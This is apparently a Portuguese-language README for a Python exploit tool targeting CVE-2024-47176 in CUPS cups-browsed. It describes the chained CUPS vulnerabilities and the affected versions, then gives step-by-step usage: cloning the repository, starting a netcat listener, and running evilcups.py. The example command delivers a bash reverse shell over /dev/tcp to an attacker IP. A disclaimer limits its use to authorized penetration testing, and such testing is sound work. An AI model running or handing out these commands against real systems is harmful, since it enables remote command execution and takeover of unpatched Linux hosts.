
Exploit em Python para CVE-2024-47176 que obtém execução remota de comandos no CUPS cups-browsed por meio de pacotes UDP manipulados. Inclui entrega de payload de shell reverso para teste de penetração autorizado.
Apenas para fins educacionais e testes de penetração autorizados.
O CUPS (Common UNIX Printing System) é um sistema de impressão de código aberto que gerencia impressoras em rede. O CVE-2024-47176 visa o daemon cups-browsed, que se liga a INADDR_ANY:631 e confia cegamente em pacotes de qualquer origem.
Ao criar um pacote UDP malicioso que aciona uma solicitação IPP Get-Printer-Attributes, um atacante pode fazer com que o cups-browsed se conecte a um servidor controlado pelo atacante — e, quando combinado com as vulnerabilidades abaixo, alcançar execução arbitrária de comandos remotos.
| Componente | Condição |
|---|---|
cups-browsed | Escutando na porta UDP 631 (padrão) |
| CUPS < 2.4.11 | Versões não corrigidas |
| Sistemas Linux com CUPS exposto | Porta 631 acessível pelo atacante |
nmap (opcional, para reconhecimento)1. Clone o repositório:
git clone https://github.com/gumerzzzindo/cve-2024-47176.git
cd cve-2024-47176
2. Instale a dependência Python necessária:
pip install ippserver
3. Inicie um listener na sua máquina:
nc -lvnp <PORT>
./evilcups.py <ATTACKER_IP> <TARGET_IP> "<COMMAND>"
Exemplo — shell reverso:
./evilcups.py 10.10.10.10 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"
Após executar o exploit, acione um trabalho de impressão no alvo (ou aguarde uma verificação automática) para executar o payload.
Este repositório destina-se exclusivamente a fins educacionais e pesquisa de segurança autorizada. Usar esta ferramenta contra sistemas que você não possui ou para os quais não tem permissão explícita por escrito para testar é ilegal e antiético.
| CVE | Descrição |
|---|
| CVE-2024-47176 | cups-browsed confia em qualquer pacote UDP na porta 631 |
| CVE-2024-47076 | libcupsfilters não sanitiza atributos IPP |
| CVE-2024-47175 | libppd injeta dados não sanitizados em arquivos PPD |
| CVE-2024-47177 | cups-filters permite execução de comandos via PPD |